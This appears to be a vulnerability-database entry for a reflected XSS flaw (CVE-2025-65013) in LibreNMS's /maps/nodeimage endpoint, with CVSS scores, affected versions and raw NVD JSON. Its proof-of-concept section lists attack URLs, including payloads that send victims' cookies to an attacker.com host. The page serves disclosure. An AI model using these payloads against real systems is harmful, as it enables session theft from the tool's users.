Security Vulnerability Report
中文
CVE-2025-65013 CVSS 6.2 MEDIUM

CVE-2025-65013

Published: 2025-11-18 23:15:56
Last Modified: 2025-11-20 16:17:48

Description

LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Prior to version 25.11.0, a reflected cross-site scripting (XSS) vulnerability was identified in the LibreNMS application at the /maps/nodeimage endpoint. The Image Name parameter is reflected in the HTTP response without proper output encoding or sanitization, allowing an attacker to craft a URL that, when visited by a victim, causes arbitrary JavaScript execution in the victim’s browser. This issue has been patched in version 25.11.0.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:* - VULNERABLE
LibreNMS < 25.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-65013 PoC: Reflected XSS in LibreNMS /maps/nodeimage endpoint --> <!-- This PoC demonstrates the XSS vulnerability by injecting a JavaScript alert --> <!-- Attack URL that triggers the XSS --> <!-- Replace the target URL with the vulnerable LibreNMS instance --> <!-- Basic XSS PoC --> https://[target-host]/maps/nodeimage?image_name=<script>alert('XSS')</script> <!-- Cookie stealing PoC --> https://[target-host]/maps/nodeimage?image_name=<script>fetch('https://attacker.com/log?cookie='+document.cookie)</script> <!-- Session hijacking PoC --> https://[target-host]/maps/nodeimage?image_name=<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))"> <!-- HTML context exploitation --> https://[target-host]/maps/nodeimage?image_name="><script>alert(document.domain)</script> https://[target-host]/maps/nodeimage?image_name=';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//= https://[target-host]/maps/nodeimage?image_name=</script><script>alert('XSS')</script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65013", "sourceIdentifier": "[email protected]", "published": "2025-11-18T23:15:56.113", "lastModified": "2025-11-20T16:17:47.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Prior to version 25.11.0, a reflected cross-site scripting (XSS) vulnerability was identified in the LibreNMS application at the /maps/nodeimage endpoint. The Image Name parameter is reflected in the HTTP response without proper output encoding or sanitization, allowing an attacker to craft a URL that, when visited by a victim, causes arbitrary JavaScript execution in the victim’s browser. This issue has been patched in version 25.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.11.0", "matchCriteriaId": "BB2997C4-F47F-4823-8E14-6FBC84E84C74"}]}]}], "references": [{"url": "https://github.com/librenms/librenms/security/advisories/GHSA-j8cq-7f6p-256x", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/librenms/librenms/security/advisories/GHSA-j8cq-7f6p-256x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}